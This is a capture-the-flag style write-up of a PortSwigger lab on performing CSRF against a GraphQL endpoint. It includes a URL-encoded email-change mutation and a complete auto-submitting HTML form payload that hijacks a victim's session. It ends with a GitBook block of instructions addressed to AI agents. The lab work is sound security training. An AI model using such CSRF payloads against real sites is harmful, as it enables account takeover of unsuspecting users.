> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-graphql-labs/lab-5.md).

# lab-5

## Performing CSRF Exploits over GraphQL

**Difficulty:** Practitioner

### Lab Description

The user management functions for this lab are powered by a GraphQL endpoint. The endpoint accepts requests with a `Content-Type` of `application/x-www-form-urlencoded`, making it vulnerable to cross-site request forgery (CSRF).

**Objective:** Craft an HTML page that uses a CSRF attack to change the victim's email address, then deliver it via the exploit server.

**Credentials:** `wiener:peter`

### Solution

**Step 1 — Find the email-change GraphQL request**

Log in as `wiener`, go to **My account**, and update the email address. Capture all requests in Burp Suite. Identify the `POST /graphql/v1` request that performs the email change and send it to Repeater.

**Step 2 — Convert the request to URL-encoded form**

GraphQL APIs normally expect `application/json`, but this endpoint also accepts `application/x-www-form-urlencoded` — which is exactly what an HTML form submits. This is what makes CSRF possible here, since browser CORS preflight checks don't apply to standard form submissions.

Rewrite the mutation without variables (variables aren't supported in URL-encoded form requests) and change the `Content-Type` header to `application/x-www-form-urlencoded`:

```graphql
mutation{
  changeEmail(
    input:{
      email:"attacker@exploit.com"
    }
  ){
    email
  }
}
```

URL-encode the mutation and send it as the `query` body parameter:

```
query=mutation%7b%0a++changeEmail%28%0a++++input%3a%7b%0a++++++email%3a%22attacker%40exploit.com%22%0a++++%7d%0a++%29%7b%0a++++email%0a++%7d%0a%7d
```

Confirm that sending this in Repeater successfully changes the email — this validates that the endpoint accepts URL-encoded form data.

**Step 3 — Craft the CSRF payload**

**Burp Professional users** can right-click the request and select **Engagement tools → Generate CSRF PoC** to auto-generate the HTML.

**Community edition users** can use this payload directly (update the `action` URL to match your lab instance):

```html
<html>
  <body>
    <form action="https://YOUR-LAB-ID.web-security-academy.net/graphql/v1" method="POST">
      <input type="hidden" name="query" value="mutation&#123;&#10;&#32;&#32;changeEmail&#40;&#10;&#32;&#32;&#32;&#32;input&#58;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;email&#58;&quot;attacker&#64;exploit&#46;com&quot;&#10;&#32;&#32;&#32;&#32;&#125;&#10;&#32;&#32;&#41;&#123;&#10;&#32;&#32;&#32;&#32;email&#10;&#32;&#32;&#125;&#10;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

**Step 4 — Deliver the exploit**

Paste the HTML into the exploit server's body, then click **Deliver to victim**. The victim's browser automatically submits the form with their active session cookie, causing the GraphQL mutation to run in their context and changing their email address.

### Why This Works

GraphQL APIs are typically called with `Content-Type: application/json` (which triggers a CORS preflight check that blocks cross-origin requests). However, because this endpoint also accepts `application/x-www-form-urlencoded`, it can be triggered by a plain HTML form — a request type browsers have always sent cross-origin without a preflight. The application's failure to validate the `Content-Type` or include CSRF tokens makes this attack possible.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-graphql-labs/lab-5.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
